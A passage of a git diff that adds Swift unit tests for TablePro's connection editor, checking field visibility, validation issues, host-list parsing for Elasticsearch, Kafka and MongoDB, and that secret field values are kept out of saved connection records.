ConnectionEditorEngine.issues(draft, traits, EditorContext(), layout: layout) + .filter { rows.contains($0.row) } + } + + // Issue #2234: gated on requiresAuthentication, which MongoDB declares false, the field was missing for MongoDB. + @Test( + "A network driver that takes a container name renders the field", + arguments: [ + DatabaseType.mongodb, + DatabaseType.cassandra, + DatabaseType(rawValue: "Trino"), + DatabaseType.mysql, + DatabaseType.postgresql, + ] + ) + func networkDriversRenderTheField(type: DatabaseType) { + #expect(rendersDatabase(type)) + } + + // Oracle and Dameng show a Schema field while declaring supportsDatabaseSwitching false. + @Test( + "A network driver without runtime database switching keeps its field", + arguments: [DatabaseType.oracle, DatabaseType.dameng] + ) + func networkDriversWithoutSwitchingKeepTheField(type: DatabaseType) { + #expect(rendersDatabase(type)) + } + + @Test( + "A driver that names its container elsewhere, or has none, opts out", + arguments: [DatabaseType.redis, DatabaseType.etcd, DatabaseType.elasticsearch] + ) + func optedOutDriversHideTheField(type: DatabaseType) { + #expect(!rendersDatabase(type)) + } + + @Test( + "An apiOnly driver without database switching keeps the field hidden", + arguments: [DatabaseType.bigQuery, DatabaseType.dynamodb, DatabaseType.libsql] + ) + func apiOnlyDriversWithoutSwitchingHideTheField(type: DatabaseType) { + #expect(!rendersDatabase(type)) + } + + // A new DuckDB connection once demanded a database name the form had no field for, so Save stayed off forever. + @Test("DuckDB neither renders nor requires the built-in database field") + func duckDBIsSaveable() { + #expect(!rendersDatabase(.duckdb)) + #expect(!ConnectionDatabaseRequirement.requiresValue(for: .duckdb)) + let issues = connectionIssues(newDraft(.duckdb, name: "Analytics")) + #expect(!issues.contains { $0.message.localizedCaseInsensitiveContains("database") }) + } + + @Test("A named database is optional for a network driver, so a blank one still validates") + func networkDatabaseStaysOptional() { + var draft = newDraft(.mongodb, name: "Cluster") + draft.database = "" + #expect(rendersDatabase(.mongodb)) + #expect(!ConnectionDatabaseRequirement.requiresValue(for: .mongodb)) + #expect(!connectionIssues(draft).contains { $0.message.localizedCaseInsensitiveContains("database") }) + } + + @Test("Every type that requires a database value also renders a field for it, and the editor requires it too") + func requiredImpliesRendered() { + let types: [DatabaseType] = [ + .mysql, .postgresql, .mongodb, .cassandra, .oracle, .dameng, + .redis, .etcd, .elasticsearch, .duckdb, .bigQuery, .dynamodb, .libsql, + ] + for type in types { + let traits = traits(type) + #expect(traits.showsBuiltInDatabaseField == ConnectionDatabaseRequirement.showsBuiltInField(for: type), "\(type.rawValue)") + guard traits.connectionMode != .fileBased else { continue } + let requires = ConnectionDatabaseRequirement.requiresValue(for: type) + if requires { + #expect(traits.showsBuiltInDatabaseField, "\(type.rawValue) requires a database it cannot render") + } + let blocks = ConnectionEditorEngine.issues(newDraft(type, name: "Probe"), traits, EditorContext()) + .contains { $0.row == .builtIn(.database) } + #expect(blocks == requires, "\(type.rawValue)") + } + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineEditsTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineEditsTests.swift new file mode 100644 index 0000000000..8e59fe05db --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineEditsTests.swift @@ -0,0 +1,131 @@ +// +// ConnectionEditorEngineEditsTests.swift +// TableProTests +// + +import Foundation +import TableProConnectionLibrary +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorEngineEditsTests { + private func traits(_ type: DatabaseType) -> ConnectionTypeTraits { + ConnectionTypeTraits.live(for: type, pluginManager: .shared) + } + + private func filledSecrets(_ draft: inout ConnectionDraft, _ traits: ConnectionTypeTraits) { + for field in traits.fields where field.isSecure { + draft.fieldValues[field.id] = "secret-\(field.id)" + } + draft.fieldValues[ConnectionSecretOptions.mongoSessionTokenFieldId] = "session-token" + } + + @Test("No secure value of the current or the original type reaches the record, for every type and retype") + func secureValuesNeverReachTheRecord() { + let types = DatabaseType.allKnownTypes + let all = Dictionary(uniqueKeysWithValues: types.map { ($0, traits($0)) }) + for type in types { + guard let current = all[type] else { continue } + var draft = ConnectionDraft.new(type: type, traits: current) + filledSecrets(&draft, current) + let forbidden = ConnectionEditorEngine.secretFieldIds(current, originalTraits: nil) + let edits = ConnectionEditorEngine.edits(draft, current, originalTraits: nil, EditorContext()) + #expect(Set(edits.additionalFields.keys).isDisjoint(with: forbidden), "\(type.rawValue)") + #expect(!edits.additionalFields.values.contains { $0.hasPrefix("secret-") || $0 == "session-token" }) + } + for original in types { + guard let originalTraits = all[original] else { continue } + var draft = ConnectionDraft.new(type: original, traits: originalTraits) + filledSecrets(&draft, originalTraits) + for target in types where target != original { + guard let targetTraits = all[target] else { continue } + let retyped = draft.retyped(to: targetTraits, from: originalTraits).result + let edits = ConnectionEditorEngine.edits(retyped, targetTraits, originalTraits: originalTraits, EditorContext()) + #expect( + !edits.additionalFields.values.contains { $0.hasPrefix("secret-") || $0 == "session-token" }, + "\(original.rawValue) to \(target.rawValue)" + ) + } + } + } + + @Test("A stored connection loads and writes back unchanged") + func loadThenEditsRoundTrips() { + var connection = DatabaseConnection( + name: "Orders", + host: "db.example.com", + port: 6_543, + database: "orders", + username: "app", + type: .postgresql + ) + connection.color = .green + connection.tagIds = [UUID()] + connection.connectTimeoutSeconds = 12 + connection.commitMode = .manual + connection.additionalFields[ConnectionEnvironment.fieldKey] = ConnectionEnvironment.production.rawValue + connection.additionalFields["mongoParam_directConnection"] = "true" + let postgres = traits(.postgresql) + let draft = ConnectionDraft.loaded(from: connection, secrets: .none, traits: postgres) + #expect(draft.environment == .production) + let edits = ConnectionEditorEngine.edits(draft, postgres, originalTraits: postgres, EditorContext()) + let saved = edits.applied(to: connection) + #expect(saved.name == connection.name) + #expect(saved.host == connection.host) + #expect(saved.port == connection.port) + #expect(saved.database == connection.database) + #expect(saved.username == connection.username) + #expect(saved.color == connection.color) + #expect(saved.tagIds == connection.tagIds) + #expect(saved.connectTimeoutSeconds == 12) + #expect(saved.commitMode == .manual) + #expect(saved.additionalFields["mongoParam_directConnection"] == "true") + #expect(saved.additionalFields[ConnectionEnvironment.fieldKey] == ConnectionEnvironment.production.rawValue) + } + + @Test("A record moved to a throwaway id keeps every other stored property") + func reassignedRecordKeepsEverything() { + var connection = DatabaseConnection(name: "Orders", type: .postgresql) + connection.sortOrder = 4 + connection.isFavorite = true + connection.isSample = true + connection.aiAlwaysAllowedTools = ["run_query"] + connection.passwordSource = .env(variable: "PGPASSWORD") + connection.origin = .imported + connection.additionalFields["custom"] = "kept" + let testId = UUID() + let moved = ConnectionEditorEngine.record(connection, reassignedTo: testId) + #expect(moved.id == testId) + let labels = Mirror(reflecting: connection).children.compactMap(\.label).filter { $0 != "id" } + let original = Dictionary(uniqueKeysWithValues: Mirror(reflecting: connection).children.compactMap { child in + child.label.map { ($0, String(describing: child.value)) } + }) + let copy = Dictionary(uniqueKeysWithValues: Mirror(reflecting: moved).children.compactMap { child in + child.label.map { ($0, String(describing: child.value)) } + }) + for label in labels { + #expect(original[label] == copy[label], "\(label)") + } + } + + @Test("A name or color edit leaves a test result standing; a host edit does not") + func testFingerprintCoversOnlyWhatATestTouches() { + let postgres = traits(.postgresql) + var draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + draft.host = "db.example.com" + let tested = ConnectionEditorEngine.testFingerprint(draft, postgres, originalTraits: nil, EditorContext()) + var renamed = draft + renamed.name = "Renamed" + renamed.appearance.color = .red + #expect(ConnectionEditorEngine.testFingerprint(renamed, postgres, originalTraits: nil, EditorContext()) == tested) + var moved = draft + moved.host = "other.example.com" + #expect(ConnectionEditorEngine.testFingerprint(moved, postgres, originalTraits: nil, EditorContext()) != tested) + var newPassword = draft + newPassword.credentials.password = "changed" + #expect(ConnectionEditorEngine.testFingerprint(newPassword, postgres, originalTraits: nil, EditorContext()) != tested) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineFacetTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineFacetTests.swift new file mode 100644 index 0000000000..0d6b1378bc --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineFacetTests.swift @@ -0,0 +1,115 @@ +// +// ConnectionEditorEngineFacetTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorEngineFacetTests { + private func traits(_ type: DatabaseType) -> ConnectionTypeTraits { + ConnectionTypeTraits.live(for: type, pluginManager: .shared) + } + + private func facets(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits, _ context: EditorContext = EditorContext()) + -> [ConnectionFacet] { + ConnectionEditorEngine.layout(draft, traits, context).facetIDs + } + + @Test("Facets keep their order, and the ones that always apply are always there") + func alwaysPresentFacets() { + for type in DatabaseType.allKnownTypes { + let traits = traits(type) + let facets = facets(ConnectionDraft.new(type: type, traits: traits), traits) + for always in [ConnectionFacet.general, .appearance, .safeMode, .aiAndMCP, .startup, .advanced] { + #expect(facets.contains(always), "\(type.rawValue) lacks \(always)") + } + let order = ConnectionFacet.allCases.filter { facets.contains($0) } + #expect(order == facets, "\(type.rawValue)") + } + } + + @Test("PostgreSQL shows transports and SSL; over a socket folder it shows neither") + func postgresFacets() { + let postgres = traits(.postgresql) + var draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + #expect(facets(draft, postgres).contains(.sshAndProxies)) + #expect(facets(draft, postgres).contains(.sslTLS)) + + draft.selectEndpoint(.localSocket) + #expect(!facets(draft, postgres).contains(.sshAndProxies)) + #expect(!facets(draft, postgres).contains(.sslTLS)) + } + + @Test("SQLite offers Remote File under its own title and no SSL") + func sqliteFacets() throws { + let sqlite = traits(.sqlite) + let draft = ConnectionDraft.new(type: .sqlite, traits: sqlite) + let layout = ConnectionEditorEngine.layout(draft, sqlite, EditorContext()) + let transport = try #require(layout.facet(.sshAndProxies)) + #expect(transport.title == String(localized: "Location")) + #expect(layout.facet(.sslTLS) == nil) + #expect(layout.contains(.builtIn(.databaseFile))) + #expect(!layout.contains(.builtIn(.password))) + } + + @Test("A credential profile hides the inline username and password rows") + func profileHidesInlineCredentials() { + let mysql = traits(.mysql) + var draft = ConnectionDraft.new(type: .mysql, traits: mysql) + var layout = ConnectionEditorEngine.layout(draft, mysql, EditorContext()) + #expect(layout.contains(.builtIn(.username))) + #expect(layout.contains(.builtIn(.password))) + draft.setCredentialMode(.profile(id: UUID())) + layout = ConnectionEditorEngine.layout(draft, mysql, EditorContext()) + #expect(layout.contains(.builtIn(.credentialProfile))) + #expect(!layout.contains(.builtIn(.username))) + #expect(!layout.contains(.builtIn(.password))) + } + + @Test("AI Policy is always shown, AI rules follow the AI setting, Local only follows Sync") + func contextDrivenSections() { + let mysql = traits(.mysql) + let draft = ConnectionDraft.new(type: .mysql, traits: mysql) + var context = EditorContext() + var layout = ConnectionEditorEngine.layout(draft, mysql, context) + #expect(layout.contains(.builtIn(.externalAccess))) + #expect(layout.contains(.builtIn(.aiPolicy))) + #expect(!layout.contains(.builtIn(.aiRules))) + #expect(!layout.contains(.builtIn(.localOnly))) + context.aiEnabled = true + context.syncEnabled = true + layout = ConnectionEditorEngine.layout(draft, mysql, context) + #expect(layout.contains(.builtIn(.aiPolicy))) + #expect(layout.contains(.builtIn(.aiRules))) + #expect(layout.contains(.builtIn(.localOnly))) + } + + @Test("Socket clears the transport in the same edit") + func socketClearsTransport() { + let mysql = traits(.mysql) + var draft = ConnectionDraft.new(type: .mysql, traits: mysql) + draft.selectTransport(.ssh) + draft.sshForwardUnixSocketPath = "/var/run/mysqld.sock" + draft.selectEndpoint(.localSocket) + #expect(draft.transport == nil) + #expect(draft.sshForwardUnixSocketPath.isEmpty) + } + + @Test("Ask Every Time empties the password and turns off a toggle that supplies it") + func promptClearsPasswordSuppliers() { + let postgres = traits(.postgresql) + var draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + draft.credentials.password = "hunter2" + if postgres.field("usePgpass") != nil { + draft.setFieldValue("true", for: "usePgpass") + } + draft.setPasswordPrompt(true, traits: postgres) + #expect(draft.credentials.password.isEmpty) + #expect(draft.fieldValues["usePgpass"] != "true") + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineFieldVisibilityTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineFieldVisibilityTests.swift new file mode 100644 index 0000000000..57dac0724e --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineFieldVisibilityTests.swift @@ -0,0 +1,226 @@ +// +// ConnectionEditorEngineFieldVisibilityTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorEngineFieldVisibilityTests { + private func field( + _ id: String, + section: FieldSection, + required: Bool = false, + defaultValue: String? = nil, + type: ConnectionField.FieldType = .text, + hidesPassword: Bool = false, + visibleWhen: FieldVisibilityRule? = nil + ) -> ConnectionField { + ConnectionField( + id: id, + label: id, + required: required, + defaultValue: defaultValue, + fieldType: type, + section: section, + hidesPassword: hidesPassword, + visibleWhen: visibleWhen + ) + } + + private func traits(_ fields: [ConnectionField]) -> ConnectionTypeTraits { + var traits = ConnectionTypeTraits(type: DatabaseType(rawValue: "Probe")) + traits.fields = fields + return traits + } + + private func draft(_ traits: ConnectionTypeTraits, values: [String: String] = [:]) -> ConnectionDraft { + var draft = ConnectionDraft.new(type: traits.type, traits: traits) + draft.name = "Probe" + for (id, value) in values { + draft.setFieldValue(value, for: id) + } + return draft + } + + private func pluginRows(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits, facet: ConnectionFacet, section: String) + -> [String] { + let layout = ConnectionEditorEngine.layout(draft, traits, EditorContext()) + let rows = layout.facet(facet)?.sections.first { $0.id == section }?.rows ?? [] + return rows.compactMap(\.pluginFieldID) + } + + private func messages(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits, on fieldId: String, _ context: EditorContext = EditorContext()) + -> [String] { + ConnectionEditorEngine.issues(draft, traits, context) + .filter { $0.row == .plugin(fieldID: fieldId) } + .map(\.message) + } + + private func modeDropdown(_ id: String = "mode", values: [String], defaultValue: String) -> ConnectionField { + let options = values.map { ConnectionField.DropdownOption(value: $0, label: $0.uppercased()) } + return field(id, section: .connection, defaultValue: defaultValue, type: .dropdown(options: options)) + } + + @Test("Plugin rows land in their section and follow their visibility rule") + func visibleFieldsFilterBySectionAndVisibility() { + let traits = traits([ + field("host", section: .connection), + modeDropdown(values: ["a", "b"], defaultValue: "a"), + field("sentinel", section: .connection, visibleWhen: .init(fieldId: "mode", values: ["b"])), + field("extra", section: .advanced), + ]) + let hidden = draft(traits, values: ["mode": "a"]) + #expect(pluginRows(hidden, traits, facet: .general, section: "connection") == ["host", "mode"]) + #expect(pluginRows(hidden, traits, facet: .advanced, section: "driver") == ["extra"]) + + let shown = draft(traits, values: ["mode": "b"]) + #expect(pluginRows(shown, traits, facet: .general, section: "connection") == ["host", "mode", "sentinel"]) + } + + // The controller lives in Connection and the secret it gates in Authentication: one flat value bag sees both. + @Test("A visibility rule resolves across sections") + func crossSectionVisibleWhenResolvesAgainstMergedValues() { + let secret = field( + "sentinelPassword", + section: .authentication, + type: .secure, + visibleWhen: .init(fieldId: "mode", values: ["sentinel"]) + ) + let traits = traits([modeDropdown(values: ["standalone", "sentinel"], defaultValue: "standalone"), secret]) + #expect(!ConnectionEditorEngine.isVisible(secret, draft(traits), traits)) + #expect(!pluginRows(draft(traits), traits, facet: .general, section: "authentication").contains("sentinelPassword")) + + let sentinel = draft(traits, values: ["mode": "sentinel"]) + #expect(ConnectionEditorEngine.isVisible(secret, sentinel, traits)) + #expect(pluginRows(sentinel, traits, facet: .general, section: "authentication").contains("sentinelPassword")) + } + + // "Use ~/.pgpass" sat between Username and Method, and the method picker under the credentials it decides. + @Test("Authentication reads Method, Credentials, Username, Password, then the switch that stands in for the password") + func authenticationRowOrder() { + let traits = traits([ + field("usePgpass", section: .authentication, type: .toggle, hidesPassword: true), + field( + "authMethod", + section: .authentication, + defaultValue: "password", + type: .dropdown(options: [.init(value: "password", label: "Password"), .init(value: "sso", label: "SSO")]), + hidesPassword: true + ), + ]) + let rows = ConnectionEditorEngine.layout(draft(traits), traits, EditorContext()) + .facet(.general)?.sections.first { $0.id == "authentication" }?.rows + + #expect(rows == [ + .plugin(fieldID: "authMethod"), + .builtIn(.credentialProfile), + .builtIn(.username), + .builtIn(.passwordMode), + .builtIn(.password), + .plugin(fieldID: "usePgpass"), + ]) + } + + @Test("PostgreSQL's Authentication puts ~/.pgpass after Password") + func postgresPgpassFollowsPassword() throws { + let postgres = ConnectionTypeTraits.live(for: .postgresql, pluginManager: .shared) + try #require(postgres.field("usePgpass") != nil) + let rows = ConnectionEditorEngine.layout(draft(postgres), postgres, EditorContext()) + .facet(.general)?.sections.first { $0.id == "authentication" }?.rows ?? [] + let pgpass = try #require(rows.firstIndex(of: .plugin(fieldID: "usePgpass"))) + let password = try #require(rows.firstIndex(of: .builtIn(.password))) + let credentials = try #require(rows.firstIndex(of: .builtIn(.credentialProfile))) + + #expect(password < pgpass) + if let method = rows.firstIndex(of: .plugin(fieldID: "awsAuth")) { + #expect(method < credentials) + } + } + + @Test("A dropdown off its default, a toggle that is on, or the type itself hides the password") + func hidesPasswordFromDropdownToggleAndType() { + let dropdown = traits([field( + "authMethod", + section: .authentication, + defaultValue: "password", + type: .dropdown(options: [.init(value: "password", label: "Password"), .init(value: "sso", label: "SSO")]), + hidesPassword: true + )]) + let atDefault = draft(dropdown, values: ["authMethod": "password"]) + #expect(!ConnectionEditorEngine.hidesPassword(atDefault, dropdown)) + #expect(ConnectionEditorEngine.layout(atDefault, dropdown, EditorContext()).contains(.builtIn(.password))) + let sso = draft(dropdown, values: ["authMethod": "sso"]) + #expect(ConnectionEditorEngine.hidesPassword(sso, dropdown)) + #expect(!ConnectionEditorEngine.layout(sso, dropdown, EditorContext()).contains(.builtIn(.password))) + + let toggle = traits([field("usePgpass", section: .authentication, type: .toggle, hidesPassword: true)]) + #expect(ConnectionEditorEngine.hidesPassword(draft(toggle, values: ["usePgpass": "true"]), toggle)) + #expect(!ConnectionEditorEngine.hidesPassword(draft(toggle), toggle)) + + var hiddenByType = traits([]) + hiddenByType.hidesBuiltInPassword = true + #expect(ConnectionEditorEngine.hidesPassword(draft(hiddenByType), hiddenByType)) + } + + @Test("Required and range rules raise an issue on their own row, and a linked profile supplies its secure field") + func requiredAndRangeValidation() { + let traits = traits([ + field("token", section: .authentication, required: true, type: .secure), + field("database", section: .connection, required: true, defaultValue: "postgres"), + field("poolSize", section: .advanced, type: .stepper(range: .init(1...10))), + ]) + let empty = draft(traits, values: ["poolSize": "99"]) + #expect(messages(empty, traits, on: "token") == ["token is required"]) + #expect(messages(empty, traits, on: "database").isEmpty) + #expect(messages(empty, traits, on: "poolSize") == ["poolSize must be between 1 and 10"]) + + let profile = CredentialProfile(name: "Shared", secureFieldIds: ["token"]) + var context = EditorContext() + context.credentialProfiles = [profile] + var linked = empty + linked.setCredentialMode(.profile(id: profile.id)) + #expect(messages(linked, traits, on: "token", context).isEmpty) + + let filled = draft(traits, values: ["token": "abc", "poolSize": "5"]) + #expect(messages(filled, traits, on: "token").isEmpty) + #expect(messages(filled, traits, on: "poolSize").isEmpty) + } + + @Test("A required field its rule hides does not block") + func requiredHiddenFieldDoesNotBlock() { + let traits = traits([ + modeDropdown(values: ["a", "b"], defaultValue: "a"), + field("onlyForB", section: .connection, required: true, visibleWhen: .init(fieldId: "mode", values: ["b"])), + ]) + #expect(messages(draft(traits, values: ["mode": "a"]), traits, on: "onlyForB").isEmpty) + #expect(messages(draft(traits, values: ["mode": "b"]), traits, on: "onlyForB") == ["onlyForB is required"]) + } + + // The editor seeds every section's defaults once; the old per-section seeding is gone with the panes. + @Test("A new connection starts with the default of every field that has one") + func defaultValuesSeedEverySection() { + let traits = traits([ + field("a", section: .connection, defaultValue: "1"), + field("b", section: .advanced, defaultValue: "2"), + field("c", section: .advanced), + ]) + #expect(traits.defaultValues() == ["a": "1", "b": "2"]) + #expect(ConnectionDraft.new(type: traits.type, traits: traits).fieldValues == ["a": "1", "b": "2"]) + } + + @Test("Two fields gating each other neither recurse nor hide each other") + func visibilityCycleTerminates() { + let x = field("x", section: .connection, visibleWhen: .init(fieldId: "y", values: ["on"])) + let y = field("y", section: .connection, visibleWhen: .init(fieldId: "x", values: ["on"])) + let traits = traits([x, y]) + let both = draft(traits, values: ["x": "on", "y": "on"]) + #expect(ConnectionEditorEngine.isVisible(x, both, traits)) + #expect(ConnectionEditorEngine.isVisible(y, both, traits)) + #expect(pluginRows(both, traits, facet: .general, section: "connection") == ["x", "y"]) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineHostListTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineHostListTests.swift new file mode 100644 index 0000000000..3c5e78c7f6 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineHostListTests.swift @@ -0,0 +1,158 @@ +// +// ConnectionEditorEngineHostListTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorEngineHostListTests { + private func traits(_ type: DatabaseType) -> ConnectionTypeTraits { + ConnectionTypeTraits.live(for: type, pluginManager: .shared) + } + + private func loaded(_ connection: DatabaseConnection) -> ConnectionDraft { + ConnectionDraft.loaded(from: connection, secrets: .none, traits: traits(connection.type)) + } + + private func draft(type: DatabaseType, fields: [String: String]) -> ConnectionDraft { + var draft = ConnectionDraft.new(type: type, traits: traits(type)) + draft.name = "cluster" + for (id, value) in fields { + draft.setFieldValue(value, for: id) + } + return draft + } + + private func edits(_ draft: ConnectionDraft) -> ConnectionFormEdits { + ConnectionEditorEngine.edits(draft, traits(draft.type), originalTraits: nil, EditorContext()) + } + + private func issues(_ draft: ConnectionDraft) -> [FieldIssue] { + ConnectionEditorEngine.issues(draft, traits(draft.type), EditorContext()) + } + + @Test("An Elasticsearch connection saved with Host and Port opens with them as its node list") + func elasticsearchSeedsFromHostAndPort() { + let draft = loaded(DatabaseConnection(name: "es", host: "es1.example", port: 9_201, type: .elasticsearch)) + #expect(draft.fieldValues["esHosts"] == "es1.example:9201") + } + + @Test("A Kafka connection opens with the broker it dials, not a blank list") + func kafkaSeedsFromHostAndPort() { + let draft = loaded(DatabaseConnection(name: "k", host: "broker1.example", port: 9_092, type: .kafka)) + #expect(draft.fieldValues["kafkaBootstrapServers"] == "broker1.example:9092") + } + + @Test("A Kafka list saved as extra brokers shows the hidden Host as its last row") + func kafkaLegacyListKeepsHost() { + let draft = loaded(DatabaseConnection( + name: "k", + host: "broker1.example", + port: 9_092, + type: .kafka, + additionalFields: ["kafkaBootstrapServers": "b2.example:9092"] + )) + #expect(draft.fieldValues["kafkaBootstrapServers"] == "b2.example:9092,broker1.example:9092") + } + + @Test("A Host the form filled in while it was hidden is not added to a saved list") + func defaultHostStaysOut() { + let draft = loaded(DatabaseConnection( + name: "es", + host: "localhost", + port: 9_200, + type: .elasticsearch, + additionalFields: ["esHosts": "es1.example:9200,es2.example:9200"] + )) + #expect(draft.fieldValues["esHosts"] == "es1.example:9200,es2.example:9200") + } + + @Test("A legacy Kafka broker on localhost with its own port stays in the list") + func legacyLocalhostOnOtherPortStays() { + let draft = loaded(DatabaseConnection( + name: "k", + host: "localhost", + port: 9_093, + type: .kafka, + additionalFields: ["kafkaBootstrapServers": "broker2.example:9092"] + )) + #expect(draft.fieldValues["kafkaBootstrapServers"] == "broker2.example:9092,localhost:9093") + } + + @Test("Clearing every row connects to the placeholder, not the Host the list hid") + func clearedListUsesDefaults() { + var cleared = draft(type: .elasticsearch, fields: ["esHosts": " , "]) + cleared.host = "old.example" + cleared.portText = "9300" + let result = edits(cleared) + #expect(result.host == "localhost") + #expect(result.port == 9_200) + #expect(result.additionalFields["esHosts"] == "") + } + + @Test("Redis lists belong to one mode and are never seeded from Host") + func redisListsAreNotSeeded() { + let draft = loaded(DatabaseConnection(name: "r", host: "cache.example", port: 6_379, type: .redis)) + #expect((draft.fieldValues["redisClusterHosts"] ?? "").isEmpty) + #expect((draft.fieldValues["redisSentinelHosts"] ?? "").isEmpty) + } + + @Test("Saving pasted node URLs stores host:port entries and takes Host and Port from the first") + func elasticsearchSaveNormalizesNodes() { + let result = edits(draft( + type: .elasticsearch, + fields: ["esHosts": "https://111.111.111.111:9200,https://111.111.111.112:9200,https://[fd00::3]:9200"] + )) + #expect(result.additionalFields["esHosts"] == "111.111.111.111:9200,111.111.111.112:9200,[fd00::3]:9200") + #expect(result.host == "111.111.111.111") + #expect(result.port == 9_200) + } + + @Test("A blank row is dropped, not saved as localhost") + func blankRowIsDropped() { + let result = edits(draft(type: .mongodb, fields: ["mongoHosts": ",a.example:27017, ,b.example"])) + #expect(result.additionalFields["mongoHosts"] == "a.example:27017,b.example:27017") + #expect(result.host == "a.example") + #expect(result.port == 27_017) + } + + @Test("A row that is not a host blocks Save instead of being dropped") + func invalidRowIsAnIssue() { + let rowIssues = issues(draft(type: .elasticsearch, fields: ["esHosts": "es1:9200,es2:abc"])) + .filter { $0.row == .plugin(fieldID: "esHosts") } + #expect(rowIssues.count == 1) + #expect(rowIssues.first?.message.contains("es2:abc") == true) + } + + @Test("An https:// node needs SSL turned on, or its credentials would go over plain HTTP") + func httpsNodeNeedsSSL() { + var secure = draft(type: .elasticsearch, fields: ["esHosts": "https://10.0.0.1:9200"]) + secure.selectSSLMode(.disabled) + #expect(issues(secure).contains { $0.message.contains("https://10.0.0.1:9200") }) + + secure.selectSSLMode(.required) + #expect(!issues(secure).contains { $0.message.contains("https://10.0.0.1:9200") }) + #expect(!issues(secure).contains { $0.row == .plugin(fieldID: "esHosts") }) + } + + @Test("Switching another type's Host to Elasticsearch carries it into the node list") + func typeChangeSeedsTheList() { + let mysql = traits(.mysql) + var draft = ConnectionDraft.new(type: .mysql, traits: mysql) + draft.host = "db.example" + draft.retype(to: traits(.elasticsearch), from: mysql) + #expect(draft.fieldValues["esHosts"] == "db.example:9200") + } + + @Test("Kafka Host and Port follow the first bootstrap server") + func kafkaHostFollowsFirstServer() { + let result = edits(draft(type: .kafka, fields: ["kafkaBootstrapServers": "b1.example:9093,b2.example:9092"])) + #expect(result.host == "b1.example") + #expect(result.port == 9_093) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineIssueTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineIssueTests.swift new file mode 100644 index 0000000000..cabfcf090c --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineIssueTests.swift @@ -0,0 +1,232 @@ +// +// ConnectionEditorEngineIssueTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorEngineIssueTests { + private func traits(_ type: DatabaseType) -> ConnectionTypeTraits { + ConnectionTypeTraits.live(for: type, pluginManager: .shared) + } + + private func issues(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits, _ context: EditorContext = EditorContext()) + -> [FieldIssue] { + ConnectionEditorEngine.issues(draft, traits, context) + } + + // Every type, every bad value at once, with each transport and a socket forward: no issue may point at a row the + // layout hides or shows disabled. + @Test("Every issue names a row the layout shows enabled, for every registered type") + func everyIssueRowIsVisible() { + for type in DatabaseType.allKnownTypes { + let traits = traits(type) + var draft = ConnectionDraft.new(type: type, traits: traits) + draft.name = "" + draft.database = "" + draft.portText = "99999" + draft.options.connectTimeoutSeconds = 0 + draft.options.queryTimeoutSeconds = -5 + draft.options.binaryInlineLimitKilobytes = 0 + draft.options.scriptTimeoutSeconds = 0 + draft.ssl.clientCertPath = "/cert.pem" + draft.ssl.clientKeyPath = "" + for field in traits.fields where field.isRequired { + draft.fieldValues[field.id] = "" + } + for transport in ConnectionEditorEngine.availableTransports(draft, traits) { + var withTransport = draft + withTransport.selectTransport(transport) + var variants = [withTransport] + if transport == .ssh { + var forwarding = withTransport + forwarding.sshForwardUnixSocketPath = "/var/run/db.sock" + variants.append(forwarding) + } + for variant in variants { + let layout = ConnectionEditorEngine.layout(variant, traits, EditorContext()) + for issue in ConnectionEditorEngine.issues(variant, traits, EditorContext(), layout: layout) { + #expect(layout.facet(issue.facet)?.contains(issue.row) == true, "\(type.rawValue): \(issue.message)") + #expect(!layout.disabledRows.contains(issue.row), "\(type.rawValue): \(issue.message) on a disabled row") + } + } + } + } + } + + @Test("A binary limit left invalid by MySQL blocks nothing once the type has no such row") + func hiddenBinaryLimitDoesNotBlock() { + let mysql = traits(.mysql) + var draft = ConnectionDraft.new(type: .mysql, traits: mysql) + draft.name = "Shop" + draft.options.binaryInlineLimitKilobytes = 0 + #expect(issues(draft, mysql).contains { $0.row == .builtIn(.binaryInlineLimit) } == mysql.supportsBinaryInlineLimit) + + let postgres = traits(.postgresql) + draft.retype(to: postgres, from: mysql) + #expect(!issues(draft, postgres).contains { $0.row == .builtIn(.binaryInlineLimit) }) + } + + @Test("A client certificate without a key blocks nothing while SSL Mode is Disabled") + func hiddenClientKeyDoesNotBlock() { + let postgres = traits(.postgresql) + var draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + draft.name = "Orders" + draft.selectSSLMode(.required) + draft.ssl.clientCertPath = "/client.pem" + #expect(issues(draft, postgres).contains { $0.row == .builtIn(.sslClientKey) }) + + draft.selectSSLMode(.disabled) + #expect(!issues(draft, postgres).contains { $0.row == .builtIn(.sslClientKey) }) + } + + @Test("An https host list with SSL Mode Disabled points at SSL Mode in SSL/TLS") + func 